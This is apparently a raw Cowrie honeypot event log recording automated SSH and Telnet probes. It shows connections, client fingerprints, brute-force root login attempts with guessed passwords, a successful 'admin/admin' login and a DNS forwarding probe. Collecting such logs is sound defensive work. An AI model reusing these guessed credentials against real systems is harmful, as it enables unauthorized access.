{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:42:58.057813Z","src_ip":"119.96.193.72","session":"c1607b4634fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:42:58.320387Z","src_ip":"119.96.193.72","session":"c1607b4634fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"altavoces","message":"login attempt [root/altavoces] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:43:00.121937Z","src_ip":"119.96.193.72","session":"c1607b4634fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50318,"dst_ip":"10.17.0.5","dst_port":23,"session":"11cbd38feec5","protocol":"telnet","message":"New connection: 152.42.224.71:50318 (10.17.0.5:23) [session: 11cbd38feec5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:43:00.864497Z"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:43:01.388095Z","src_ip":"119.96.193.72","session":"c1607b4634fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50324,"dst_ip":"10.17.0.5","dst_port":23,"session":"9bc9ef7279ce","protocol":"telnet","message":"New connection: 152.42.224.71:50324 (10.17.0.5:23) [session: 9bc9ef7279ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:43:01.531609Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43094,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf3376458011","protocol":"telnet","message":"New connection: 152.42.224.71:43094 (10.17.0.5:23) [session: bf3376458011]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:43:06.817174Z"}
{"eventid":"cowrie.session.closed","duration":120.00213718414307,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:43:10.386972Z","src_ip":"152.42.224.71","session":"3c4e6fd54d1d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":109.56016421318054,"message":"Connection lost after 109 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:43:16.123429Z","src_ip":"152.42.224.71","session":"24c13aad58a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.992409467697144,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:43:30.121007Z","src_ip":"152.42.224.71","session":"1a7ff1974678","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.74620223045349,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:43:30.254509Z","src_ip":"152.42.224.71","session":"51a8c2808c30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39780,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef0cb9744b27","protocol":"telnet","message":"New connection: 152.42.224.71:39780 (10.17.0.5:23) [session: ef0cb9744b27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:43:35.978205Z"}
{"eventid":"cowrie.session.connect","src_ip":"52.236.56.129","src_port":35224,"dst_ip":"10.17.0.5","dst_port":22,"session":"6397b614ddbc","protocol":"ssh","message":"New connection: 52.236.56.129:35224 (10.17.0.5:22) [session: 6397b614ddbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:43:39.301322Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:43:39.306304Z","src_ip":"52.236.56.129","session":"6397b614ddbc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:43:39.377257Z","src_ip":"52.236.56.129","session":"6397b614ddbc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"otsmanager","message":"login attempt [root/otsmanager] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:43:39.678519Z","src_ip":"52.236.56.129","session":"6397b614ddbc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34356,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e4a42a4143a","protocol":"telnet","message":"New connection: 152.42.224.71:34356 (10.17.0.5:23) [session: 1e4a42a4143a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:43:40.218215Z"}
{"eventid":"cowrie.session.closed","duration":46.10237455368042,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:43:40.474970Z","src_ip":"152.42.224.71","session":"b3e1c2f94ad5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:43:40.748550Z","src_ip":"52.236.56.129","session":"6397b614ddbc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":50038,"dst_ip":"159.203.135.109","dst_port":22,"session":"d8c5b4b5d98e","protocol":"ssh","message":"New connection: 87.251.79.125:50038 (159.203.135.109:22) [session: d8c5b4b5d98e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:43:45.363137Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:43:45.367518Z","src_ip":"87.251.79.125","session":"d8c5b4b5d98e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:43:45.438778Z","src_ip":"87.251.79.125","session":"d8c5b4b5d98e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rjhjkm","message":"login attempt [root/rjhjkm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:43:45.652272Z","src_ip":"87.251.79.125","session":"d8c5b4b5d98e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:43:46.726146Z","src_ip":"87.251.79.125","session":"d8c5b4b5d98e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55028,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd615acea014","protocol":"telnet","message":"New connection: 152.42.224.71:55028 (10.17.0.5:23) [session: bd615acea014]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:43:47.928368Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55040,"dst_ip":"10.17.0.5","dst_port":23,"session":"78e22fcb1d5a","protocol":"telnet","message":"New connection: 152.42.224.71:55040 (10.17.0.5:23) [session: 78e22fcb1d5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:43:47.969586Z"}
{"eventid":"cowrie.session.closed","duration":52.06858777999878,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:43:52.932940Z","src_ip":"152.42.224.71","session":"11cbd38feec5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47648,"dst_ip":"10.17.0.5","dst_port":23,"session":"261939649380","protocol":"telnet","message":"New connection: 152.42.224.71:47648 (10.17.0.5:23) [session: 261939649380]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:43:58.913001Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47662,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd41d2495577","protocol":"telnet","message":"New connection: 152.42.224.71:47662 (10.17.0.5:23) [session: cd41d2495577]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:43:59.956782Z"}
{"eventid":"cowrie.session.closed","duration":56.70029854774475,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:44:03.517357Z","src_ip":"152.42.224.71","session":"bf3376458011","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.226","src_port":64404,"dst_ip":"10.17.0.5","dst_port":22,"session":"802038d0afae","protocol":"ssh","message":"New connection: 45.153.34.226:64404 (10.17.0.5:22) [session: 802038d0afae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:44:03.961223Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:44:03.968391Z","src_ip":"45.153.34.226","session":"802038d0afae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":46644,"dst_ip":"10.17.0.5","dst_port":22,"session":"217f29bba33c","protocol":"ssh","message":"New connection: 87.251.64.176:46644 (10.17.0.5:22) [session: 217f29bba33c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:44:04.047986Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:44:04.053868Z","src_ip":"87.251.64.176","session":"217f29bba33c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.226","src_port":64418,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f111f52d3bd","protocol":"ssh","message":"New connection: 45.153.34.226:64418 (10.17.0.5:22) [session: 4f111f52d3bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:44:04.085404Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.3","message":"Remote SSH version: SSH-2.0-libssh_0.11.3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:44:04.090935Z","src_ip":"45.153.34.226","session":"4f111f52d3bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:44:04.155654Z","src_ip":"87.251.64.176","session":"217f29bba33c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:44:04.446032Z","src_ip":"87.251.64.176","session":"217f29bba33c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:44:04.463533Z","src_ip":"45.153.34.226","session":"4f111f52d3bd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:44:04.544900Z","session":"217f29bba33c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"password","message":"login attempt [admin/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:44:04.630748Z","src_ip":"45.153.34.226","session":"4f111f52d3bd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:44:04.644406Z","src_ip":"87.251.64.176","session":"217f29bba33c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:44:04.744233Z","src_ip":"87.251.64.176","session":"217f29bba33c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:44:05.716012Z","src_ip":"45.153.34.226","session":"4f111f52d3bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41734,"dst_ip":"10.17.0.5","dst_port":23,"session":"3528087eff58","protocol":"telnet","message":"New connection: 152.42.224.71:41734 (10.17.0.5:23) [session: 3528087eff58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:44:06.737080Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38120,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4c015a0671d","protocol":"telnet","message":"New connection: 152.42.224.71:38120 (10.17.0.5:23) [session: d4c015a0671d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:44:16.647553Z"}
{"eventid":"cowrie.session.closed","duration":120.00226163864136,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:44:17.379376Z","src_ip":"152.42.224.71","session":"16e2728417f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.96455430984497,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:44:28.182646Z","src_ip":"152.42.224.71","session":"1e4a42a4143a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34804,"dst_ip":"10.17.0.5","dst_port":23,"session":"90c42069041d","protocol":"telnet","message":"New connection: 152.42.224.71:34804 (10.17.0.5:23) [session: 90c42069041d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:44:30.232363Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34818,"dst_ip":"10.17.0.5","dst_port":23,"session":"95c072f058f7","protocol":"telnet","message":"New connection: 152.42.224.71:34818 (10.17.0.5:23) [session: 95c072f058f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:44:31.628763Z"}
{"eventid":"cowrie.session.closed","duration":36.0325722694397,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:44:35.989240Z","src_ip":"152.42.224.71","session":"cd41d2495577","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":64.01940250396729,"message":"Connection lost after 64 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:44:39.997479Z","src_ip":"152.42.224.71","session":"ef0cb9744b27","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.46923351287842,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:44:40.206196Z","src_ip":"152.42.224.71","session":"3528087eff58","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":100.10830211639404,"message":"Connection lost after 100 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:44:41.639778Z","src_ip":"152.42.224.71","session":"9bc9ef7279ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"119.96.193.72","src_port":58694,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b4d65a09275","protocol":"ssh","message":"New connection: 119.96.193.72:58694 (10.17.0.5:22) [session: 9b4d65a09275]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:44:45.696634Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:44:45.701309Z","src_ip":"119.96.193.72","session":"9b4d65a09275","protocol":"ssh"}
